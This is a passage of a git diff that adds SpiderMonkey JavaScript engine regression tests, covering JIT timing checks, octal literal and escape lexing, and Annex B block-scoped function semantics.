[7, 1], [8, 1], [9, 2], [11, 1], [38, 1], [50, 25], [38, 1], [11, 1], [9, 2], [8, 1], [7, 1], [6, 2], [5, 2], [4, 5], [3, 6], [4, 4], [5, 3], [6, 2], [7, 2], [8, 1], [9, 1], [15, 1], [50, 25], [15, 1], [9, 1], [8, 1], [7, 2], [6, 2], [5, 3], [4, 4], [3, 7], [4, 5], [5, 3], [6, 3], [7, 1], [9, 1], [42, 1], [21, 1], [50, 23], [21, 1], [42, 1], [9, 1], [7, 1], [6, 3], [5, 3], [4, 5], [3, 8], [4, 5], [5, 3], [6, 2], [7, 1], [8, 1], [9, 1], [13, 1], [50, 23], [13, 1], [9, 1], [8, 1], [7, 1], [6, 2], [5, 3], [4, 5], [3, 9], [4, 6], [5, 3], [6, 2], [7, 1], [9, 1], [14, 1], [50, 23], [14, 1], [9, 1], [7, 1], [6, 2], [5, 3], [4, 6], [3, 10], [4, 6], [5, 3], [6, 1], [7, 1], [9, 1], [16, 1], [50, 2], [35, 1], [50, 8], [13, 1], [50, 8], [35, 1], [50, 2], [16, 1], [9, 1], [7, 1], [6, 1], [5, 3], [4, 6], [3, 12], [4, 6], [5, 2], [6, 1], [19, 1], [16, 1], [17, 1], [25, 1], [21, 1], [13, 1], [18, 1], [50, 6], [11, 1], [9, 1], [11, 1], [50, 6], [18, 1], [13, 1], [21, 1], [25, 1], [17, 1], [16, 1], [19, 1], [6, 1], [5, 2], [4, 6], [3, 14], [4, 5], [5, 3], [6, 1], [8, 1], [16, 1], [10, 1], [8, 2], [11, 1], [50, 1], [16, 1], [15, 1], [32, 1], [29, 1], [9, 1], [8, 1], [7, 1], [8, 1], [9, 1], [29, 1], [32, 1], [15, 1], [16, 1], [50, 1], [11, 1], [8, 2], [10, 1], [16, 1], [8, 1], [6, 1], [5, 3], [4, 5], [3, 15], [4, 6], [5, 3], [6, 4], [7, 1], [20, 1], [19, 1], [9, 3], [7, 3], [6, 1], [7, 3], [9, 3], [19, 1], [20, 1], [7, 1], [6, 4], [5, 3], [4, 6], [3, 16], [4, 7], [5, 4], [6, 3], [7, 1], [6, 13], [7, 1], [6, 3], [5, 4], [4, 7], [3, 18], [4, 7], [5, 27], [4, 7], [3, 20], [4, 9], [5, 21], [4, 9], [3, 23], [4, 12], [5, 11], [4, 12], [3, 26], [4, 33], [3, 29], [4, 29], [3, 33], [4, 25], [3, 38], [4, 19], [3, 20], [2, 1], [3, 26], [4, 7], [3, 26], [2, 2], [3, 57], [2, 1]]";
+ reportCompare(reference, JSON.stringify(output).replace(/,/g, ", "), summary + ': correctness jit=' + trace);
+ return (Date.now() - start);
+}
+
+
+var timenonjit = f(false);
+var timejit = f(true);
+
+expect = true;
+actual = timejit < timenonjit;
+
+print('time nonjit: ' + timenonjit + ', time jit: ' + timejit);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/jit/regress-458838.js b/js/src/tests/non262/jit/regress-458838.js
new file mode 100644
index 0000000000..90ea26197c
--- /dev/null
+++ b/js/src/tests/non262/jit/regress-458838.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 458838;
+var summary = 'TM: do not fall off trace when nested function accesses var of outer function';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function f() {
+ var a = 1;
+ function g() {
+ var b = 0
+ for (var i = 0; i < 10; ++i) {
+ b += a;
+ }
+ return b;
+ }
+
+ return g();
+ }
+
+ expect = 10;
+ actual = f();
+
+ reportCompare(expect, actual, summary + ': return value 10');
+}
diff --git a/js/src/tests/non262/jit/regress-469927.js b/js/src/tests/non262/jit/regress-469927.js
new file mode 100644
index 0000000000..b1a7230946
--- /dev/null
+++ b/js/src/tests/non262/jit/regress-469927.js
@@ -0,0 +1,41 @@
+// |reftest| skip -- bogus perf test (bug 540512)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469927;
+var summary = 'TM: jit should not slow down short loop with let';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function letitbe() {
+ var start = new Date();
+ for (let i = 0; i < 500000; ++i) {
+ for (let j = 0; j < 4; ++j) { }
+ }
+ var stop = new Date();
+ return stop - start;
+ }
+
+ var timenonjit = letitbe();
+ var timejit = letitbe();
+
+ print('time: nonjit = ' + timenonjit + ', jit = ' + timejit);
+
+ expect = true;
+ actual = timejit < timenonjit;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/jit/regress-470739.js b/js/src/tests/non262/jit/regress-470739.js
new file mode 100644
index 0000000000..10706ff00d
--- /dev/null
+++ b/js/src/tests/non262/jit/regress-470739.js
@@ -0,0 +1,43 @@
+// |reftest| random -- bogus perf test (bug 540512)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470739;
+var summary = 'TM: never abort on ==';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function loop()
+ {
+ var i;
+ var start = new Date();
+
+ for(i=0;i<500000;++i) { var r = (void 0) == null; }
+
+ var stop = new Date();
+ return stop - start;
+ }
+
+ var timenonjit = loop();
+ var timejit = loop();
+
+ print('time: nonjit = ' + timenonjit + ', jit = ' + timejit);
+
+ expect = true;
+ actual = timejit < timenonjit;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/jit/regress-489682.js b/js/src/tests/non262/jit/regress-489682.js
new file mode 100644
index 0000000000..73a341b13b
--- /dev/null
+++ b/js/src/tests/non262/jit/regress-489682.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 489682;
+var summary = 'TM: wrong number with nested type-unstable loops';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+var v = 0;
+
+for (var a of [0, {}, {}, {}]) {
+ print(v);
+ v = v >>> 0;
+ for (var b of [{}, {}, new String(''), 42, new String(''), {}, 42])
+ {
+ }
+ }
+print(v);
+
+
+expect = '0';
+actual = v + '';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/jit/shell.js b/js/src/tests/non262/jit/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/jit/shell.js
diff --git a/js/src/tests/non262/lexical-conventions/browser.js b/js/src/tests/non262/lexical-conventions/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/lexical-conventions/browser.js
diff --git a/js/src/tests/non262/lexical-conventions/lexical-001.js b/js/src/tests/non262/lexical-conventions/lexical-001.js
new file mode 100644
index 0000000000..308b7a2a82
--- /dev/null
+++ b/js/src/tests/non262/lexical-conventions/lexical-001.js
@@ -0,0 +1,146 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/*
+ * Date: 26 November 2000
+ *
+ *SUMMARY: Testing numeric literals that begin with 0.
+ *This test arose from Bugzilla bug 49233.
+ *The best explanation is from jsscan.c:
+ *
+ * "We permit 08 and 09 as decimal numbers, which makes
+ * our behaviour a superset of the ECMA numeric grammar.
+ * We might not always be so permissive, so we warn about it."
+ *
+ *Thus an expression 010 will evaluate, as always, as an octal (to 8).
+ *However, 018 will evaluate as a decimal, to 18. Even though the
+ *user began the expression as an octal, he later used a non-octal
+ *digit. We forgive this and assume he intended a decimal. If the
+ *JavaScript "strict" option is set though, we will give a warning.
+ */
+
+//-------------------------------------------------------------------------------------------------
+var BUGNUMBER = '49233';
+var summary = 'Testing numeric literals that begin with 0';
+var statprefix = 'Testing ';
+var quote = "'";
+var asString = new Array();
+var actual = new Array();
+var expect = new Array();
+
+
+ asString[0]='01'
+ actual[0]=01
+ expect[0]=1
+
+ asString[1]='07'
+ actual[1]=07
+ expect[1]=7
+
+ asString[2]='08'
+ actual[2]=08
+ expect[2]=8
+
+ asString[3]='09'
+ actual[3]=09
+ expect[3]=9
+
+ asString[4]='010'
+ actual[4]=010
+ expect[4]=8
+
+ asString[5]='017'
+ actual[5]=017
+ expect[5]=15
+
+ asString[6]='018'
+ actual[6]=018
+ expect[6]=18
+
+ asString[7]='019'
+ actual[7]=019
+ expect[7]=19
+
+ asString[8]='079'
+ actual[8]=079
+ expect[8]=79
+
+ asString[9]='0079'
+ actual[9]=0079
+ expect[9]=79
+
+ asString[10]='099'
+ actual[10]=099
+ expect[10]=99
+
+ asString[11]='0099'
+ actual[11]=0099
+ expect[11]=99
+
+ asString[12]='000000000077'
+ actual[12]=000000000077
+ expect[12]=63
+
+ asString[13]='000000000078'
+ actual[13]=000000000078
+ expect[13]=78
+
+ asString[14]='0000000000770000'
+ actual[14]=0000000000770000
+ expect[14]=258048
+
+ asString[15]='0000000000780000'
+ actual[15]=0000000000780000
+ expect[15]=780000
+
+ asString[16]='0765432198'
+ actual[16]=0765432198
+ expect[16]=765432198
+
+ asString[17]='00076543219800'
+ actual[17]=00076543219800
+ expect[17]=76543219800
+
+ asString[18]='0000001001007'
+ actual[18]=0000001001007
+ expect[18]=262663
+
+ asString[19]='0000001001009'
+ actual[19]=0000001001009
+ expect[19]=1001009
+
+ asString[20]='070'
+ actual[20]=070
+ expect[20]=56
+
+ asString[21]='080'
+ actual[21]=080
+ expect[21]=80
+
+
+
+//-------------------------------------------------------------------------------------------------
+ test();
+//-------------------------------------------------------------------------------------------------
+
+
+function showStatus(msg)
+{
+ return (statprefix + quote + msg + quote);
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (i=0; i !=asString.length; i++)
+ {
+ reportCompare (expect[i], actual[i], showStatus(asString[i]));
+ }
+}
diff --git a/js/src/tests/non262/lexical-conventions/regress-177314.js b/js/src/tests/non262/lexical-conventions/regress-177314.js
new file mode 100644
index 0000000000..ce677b77a4
--- /dev/null
+++ b/js/src/tests/non262/lexical-conventions/regress-177314.js
@@ -0,0 +1,73 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 30 Oct 2002
+ * SUMMARY: '\400' should lex as a 2-digit octal escape + '0'
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=177314
+ *
+ * Bug was that Rhino interpreted '\400' as a 3-digit octal escape. As such
+ * it is invalid, since octal escapes may only run from '\0' to '\377'. But
+ * the lexer should interpret this as '\40' + '0' instead, and throw no error.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 177314;
+var summary = "'\\" + "400' should lex as a 2-digit octal escape + '0'";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// the last valid octal escape is '\377', which should equal hex escape '\xFF'
+status = inSection(1);
+actual = '\377';
+expect = '\xFF';
+addThis();
+
+// now exercise the lexer by going one higher in the last digit
+status = inSection(2);
+actual = '\378';
+expect = '\37' + '8';
+addThis();
+
+// trickier: 400 is a valid octal number, but '\400' isn't a valid octal escape
+status = inSection(3);
+actual = '\400';
+expect = '\40' + '0';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/lexical-conventions/regress-469940.js b/js/src/tests/non262/lexical-conventions/regress-469940.js
new file mode 100644
index 0000000000..d8169671c6
--- /dev/null
+++ b/js/src/tests/non262/lexical-conventions/regress-469940.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 469940;
+var summary = 'Do not insert semi-colon after var with multiline initializer';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: unexpected token: identifier';
+
+ var s = 'var x = function f() { \n return 42; } print(x);';
+
+ try
+ {
+ eval(s);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/lexical-conventions/shell.js b/js/src/tests/non262/lexical-conventions/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/lexical-conventions/shell.js
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-arguments.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-arguments.js
new file mode 100644
index 0000000000..efc263b66f
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-arguments.js
@@ -0,0 +1,10 @@
+// Test that Annex B function interaction with 'arguments'.
+
+(function() {
+ assertEq(typeof arguments, "object");
+ { function arguments() {} }
+ assertEq(typeof arguments, "function");
+})();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-eval.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-eval.js
new file mode 100644
index 0000000000..9f4e4d7fe8
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-eval.js
@@ -0,0 +1,51 @@
+var log = "";
+
+function f() {
+ log += g();
+ function g() { return "outer-g"; }
+
+ var o = { g: function () { return "with-g"; } };
+ with (o) {
+ // Annex B.3.3.3 says g should be set on the nearest VariableEnvironment,
+ // and so should not change o.g.
+ eval(`{
+ function g() { return "eval-g"; }
+ }`);
+ }
+
+ log += g();
+ log += o.g();
+}
+
+f();
+
+function h() {
+ eval(`
+ // Should return true, as var bindings introduced by eval are configurable.
+ log += (delete q);
+ {
+ function q() { log += "q"; }
+ // Should return false, as lexical bindings introduced by eval are not
+ // configurable.
+ log += (delete q);
+ }
+ `);
+ return q;
+}
+
+h()();
+
+function f2() {
+ // Should not throw, just simply not synthesize an Annex B var in the eval
+ // because there's an outer const.
+ eval("{ function a() {} }");
+ const a = 1;
+}
+
+function f3() {
+ // As above, but for let.
+ eval("{ function a() {} }");
+ let a;
+}
+
+reportCompare(log, "outer-geval-gwith-gtruefalseq");
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-generators.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-generators.js
new file mode 100644
index 0000000000..dbef82bcfc
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-generators.js
@@ -0,0 +1,26 @@
+// Tests by André Bargull <andrebargull@googlemail.com>
+
+// Annex B.3.3.1
+function f1() {
+ { function* g() {} }
+ assertEq(typeof g, "undefined");
+}
+f1();
+
+// Annex B.3.3.2
+{ function* g() {} }
+assertEq(typeof g, "undefined");
+
+// Annex B.3.3.3
+function f2() {
+ eval("{ function* g() {} }");
+ assertEq(typeof g, "undefined");
+}
+f2();
+
+// Annex B.3.3.3
+eval("{ function* g() {} }");
+assertEq(typeof g, "undefined");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-if.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-if.js
new file mode 100644
index 0000000000..ce63aeeea2
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-if.js
@@ -0,0 +1,42 @@
+var log = "";
+
+function f(x) {
+ if (x)
+ function g() { return "g0"; }
+ else
+ function g() { return "g1"; }
+
+ log += g();
+
+ if (x)
+ function g() { return "g2"; }
+ else {
+ }
+
+ log += g();
+
+ if (x) {
+ } else
+ function g() { return "g3"; }
+
+ log += g();
+
+ if (x)
+ function g() { return "g4"; }
+
+ log += g();
+}
+
+f(true);
+f(false);
+
+try {
+ eval(`
+ if (1)
+ l: function foo() {}
+ `);
+} catch (e) {
+ log += "e";
+}
+
+reportCompare(log, "g0g2g2g4g1g1g3g3e");
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-label.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-label.js
new file mode 100644
index 0000000000..0fe9f45fca
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-label.js
@@ -0,0 +1,43 @@
+function expectSyntaxError(str) {
+ var threwSyntaxError;
+ try {
+ eval(str);
+ } catch (e) {
+ threwSyntaxError = e instanceof SyntaxError;
+ }
+ assertEq(threwSyntaxError, true);
+
+ try {
+ eval('"use strict";' + str);
+ } catch (e) {
+ threwSyntaxError = e instanceof SyntaxError;
+ }
+ assertEq(threwSyntaxError, true);
+}
+
+function expectSloppyPass(str) {
+ eval(str);
+
+ try {
+ eval('"use strict";' + str);
+ } catch (e) {
+ threwSyntaxError = e instanceof SyntaxError;
+ }
+ assertEq(threwSyntaxError, true);
+}
+
+expectSloppyPass(`l: function f1() {}`);
+expectSloppyPass(`l0: l: function f1() {}`);
+expectSloppyPass(`{ f1(); l: function f1() {} }`);
+expectSloppyPass(`{ f1(); l0: l: function f1() {} }`);
+expectSloppyPass(`{ f1(); l: function f1() { return 42; } } assertEq(f1(), 42);`);
+expectSloppyPass(`eval("fe(); l: function fe() {}")`);
+expectSyntaxError(`if (1) l: function f2() {}`);
+expectSyntaxError(`if (1) {} else l: function f3() {}`);
+expectSyntaxError(`do l: function f4() {} while (0)`);
+expectSyntaxError(`while (0) l: function f5() {}`);
+expectSyntaxError(`for (;;) l: function f6() {}`);
+expectSloppyPass(`switch (1) { case 1: l: function f7() {} }`);
+expectSloppyPass(`switch (1) { case 1: assertEq(f8(), 'f8'); case 2: l: function f8() { return 'f8'; } } assertEq(f8(), 'f8');`);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-notapplicable.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-notapplicable.js
new file mode 100644
index 0000000000..4c5e2527a8
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-notapplicable.js
@@ -0,0 +1,14 @@
+// Test that functions in block that do not exhibit Annex B do not override
+// previous functions that do exhibit Annex B.
+
+function f() {
+ var outerX;
+ { function x() {1} outerX = x; }
+ { { function x() {2}; } let x; }
+ { let x; { function x() {3}; } }
+ assertEq(x, outerX);
+}
+f();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-parameter.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-parameter.js
new file mode 100644
index 0000000000..ae7fbe879c
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-parameter.js
@@ -0,0 +1,21 @@
+// Annex B.3.3.1 disallows Annex B lexical function behavior when redeclaring a
+// parameter.
+
+(function(f) {
+ if (true) function f() { }
+ assertEq(f, 123);
+}(123));
+
+(function(f) {
+ { function f() { } }
+ assertEq(f, 123);
+}(123));
+
+(function(f = 123) {
+ assertEq(f, 123);
+ { function f() { } }
+ assertEq(f, 123);
+}());
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-property.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-property.js
new file mode 100644
index 0000000000..a295de5081
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-property.js
@@ -0,0 +1,18 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+// Define a global getter without a setter.
+Object.defineProperty(this, "x", {
+ get: function () { return "get-x"; },
+ configurable: true
+});
+
+// Simulate loading a 2nd script with evaluate, else we would DEFVAR the x and
+// the above defineProperty would fail in trying to redefine a non-configurable
+// property on the global.
+evaluate(`{
+ function x() { return "fun-x"; }
+}`);
+
+// Annex B is supposed to be like an assignment. Should not blow away the
+// existing setter-less getter.
+reportCompare(x, "get-x");
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-same-name.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-same-name.js
new file mode 100644
index 0000000000..b89f91c59a
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-same-name.js
@@ -0,0 +1,7 @@
+{
+ function f() { return "inner"; }
+}
+
+function f() { return "outer"; }
+
+reportCompare(f(), "inner");
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-with.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-with.js
new file mode 100644
index 0000000000..f57f04b885
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-with.js
@@ -0,0 +1,26 @@
+if (typeof getBuildConfiguration === "undefined") {
+ var getBuildConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getBuildConfiguration;
+}
+
+// Global functions are configurable in a browser environment on nightly.
+var functionDeclarationsConfigurable = typeof document !== "undefined" &&
+ !getBuildConfiguration().release_or_beta;
+
+var o = { f: "string-f" };
+with (o) {
+ var desc = Object.getOwnPropertyDescriptor(this, "f");
+ assertEq(desc.value, undefined);
+ assertEq(desc.writable, true);
+ assertEq(desc.enumerable, true);
+ assertEq(desc.configurable, functionDeclarationsConfigurable);
+ function f() {
+ return "fun-f";
+ }
+}
+
+// Annex B explicitly assigns to the nearest VariableEnvironment, so the
+// with-object "o" should have its property unchanged.
+assertEq(o.f, "string-f");
+assertEq(f(), "fun-f");
+
+reportCompare(true, true)
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b.js
new file mode 100644
index 0000000000..16c40774ca
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b.js
@@ -0,0 +1,31 @@
+var log = "";
+
+log += typeof f;
+
+{
+ log += f();
+
+ function f() {
+ return "f1";
+ }
+}
+
+log += f();
+
+function g() {
+ log += typeof h;
+
+ {
+ log += h();
+
+ function h() {
+ return "h1";
+ }
+ }
+
+ log += h();
+}
+
+g();
+
+reportCompare(log, "undefinedf1f1undefinedh1h1");
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-deprecated-redecl.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-deprecated-redecl.js
new file mode 100644
index 0000000000..af32be5d3d
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-deprecated-redecl.js
@@ -0,0 +1,78 @@
+{
+ assertEq(f(), 4);
+ function f() { return 3; }
+ assertEq(f(), 4);
+ function f() { return 4; }
+ assertEq(f(), 4);
+}
+
+// Annex B still works.
+assertEq(f(), 4);
+
+// The same thing with labels.
+{
+ assertEq(f(), 4);
+ function f() { return 3; }
+ assertEq(f(), 4);
+ l: function f() { return 4; }
+ assertEq(f(), 4);
+}
+
+// Annex B still works.
+assertEq(f(), 4);
+
+function test() {
+ {
+ assertEq(f(), 2);
+ function f() { return 1; }
+ assertEq(f(), 2);
+ function f() { return 2; }
+ assertEq(f(), 2);
+ }
+
+ // Annex B still works.
+ assertEq(f(), 2);
+}
+
+test();
+
+var log = '';
+
+try {
+ // Strict mode still cannot redeclare.
+ eval(`"use strict";
+ {
+ function f() { }
+ function f() { }
+ }`);
+} catch (e) {
+ assertEq(e instanceof SyntaxError, true);
+ log += 'e';
+}
+
+try {
+ // Redeclaring an explicitly 'let'-declared binding doesn't work.
+ eval(`{
+ let x = 42;
+ function x() {}
+ }`);
+} catch (e) {
+ assertEq(e instanceof SyntaxError, true);
+ log += 'e';
+}
+
+try {
+ // Redeclaring an explicitly 'const'-declared binding doesn't work.
+ eval(`{
+ const x = 42;
+ function x() {}
+ }`);
+} catch (e) {
+ assertEq(e instanceof SyntaxError, true);
+ log += 'e';
+}
+
+assertEq(log, 'eee');
+
+if ('reportCompare' in this)
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-hoisted-tdz.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-hoisted-tdz.js
new file mode 100644
index 0000000000..e5f9baf446
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-hoisted-tdz.js
@@ -0,0 +1,30 @@
+var log = "";
+try {
+ (function() {
+ {
+ let y = f();
+ function f() { y; }
+ }
+ })()
+} catch (e) {
+ log += e instanceof ReferenceError;
+}
+
+try {
+ function f() {
+ switch (1) {
+ case 0:
+ let x;
+ case 1:
+ (function() { x; })();
+ }
+ }
+ f();
+} catch (e) {
+ log += e instanceof ReferenceError;
+}
+
+assertEq(log, "truetrue");
+
+if ("reportCompare" in this)
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/lexical-environment/block-scoped-functions-strict.js b/js/src/tests/non262/lexical-environment/block-scoped-functions-strict.js
new file mode 100644
index 0000000000..2b780d7dd1
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/block-scoped-functions-strict.js
@@ -0,0 +1,45 @@
+"use strict"
+
+var log = "";
+
+function f() {
+ return "f0";
+}
+
+log += f();
+
+{
+ log += f();
+
+ function f() {
+ return "f1";
+ }
+
+ log += f();
+}
+
+log += f();
+
+function g() {
+ function h() {
+ return "h0";
+ }
+
+ log += h();
+
+ {
+ log += h();
+
+ function h() {
+ return "h1";
+ }
+
+ log += h();
+ }
+
+ log += h();
+}
+
+g();
+
+reportCompare(log, "f0f1f1f0h0h1h1h0");
diff --git a/js/src/tests/non262/lexical-environment/browser.js b/js/src/tests/non262/lexical-environment/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/browser.js
diff --git a/js/src/tests/non262/lexical-environment/bug-1216623.js b/js/src/tests/non262/lexical-environment/bug-1216623.js
new file mode 100644
index 0000000000..cbdbe9722e
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/bug-1216623.js
@@ -0,0 +1,19 @@
+// Scoping in the head of for(let;;) statements.
+
+let x = 0;
+for (let i = 0, a = () => i; i < 4; i++) {
+ assertEq(i, x++);
+ assertEq(a(), 0);
+}
+assertEq(x, 4);
+
+x = 11;
+let q = 0;
+for (let {[++q]: r} = [0, 11, 22], s = () => r; r < 13; r++) {
+ assertEq(r, x++);
+ assertEq(s(), 11);
+}
+assertEq(x, 13);
+assertEq(q, 1);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/lexical-environment/catch-body.js b/js/src/tests/non262/lexical-environment/catch-body.js
new file mode 100644
index 0000000000..43b9d2bfe3
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/catch-body.js
@@ -0,0 +1,19 @@
+function f() {
+ var probeParam, probeBlock;
+ let x = 'outside';
+
+ try {
+ throw [];
+ } catch ([_ = probeParam = function() { return x; }]) {
+ probeBlock = function() { return x; };
+ let x = 'inside';
+ }
+
+ assertEq(probeBlock(), 'inside');
+ assertEq(probeParam(), 'outside');
+}
+
+f();
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/lexical-environment/const-declaration-in-for-loop.js b/js/src/tests/non262/lexical-environment/const-declaration-in-for-loop.js
new file mode 100644
index 0000000000..4001220ba3
--- /dev/null
+++ b/js/src/tests/non262/lexical-environment/const-declaration-in-for-loop.js
@@ -0,0 +1,88 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "const-declaration-in-for-loop.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1146644;
+var summary =
+ "Don't crash compiling a non-body-level for-loop whose loop declaration is " +
+ "a const";
+
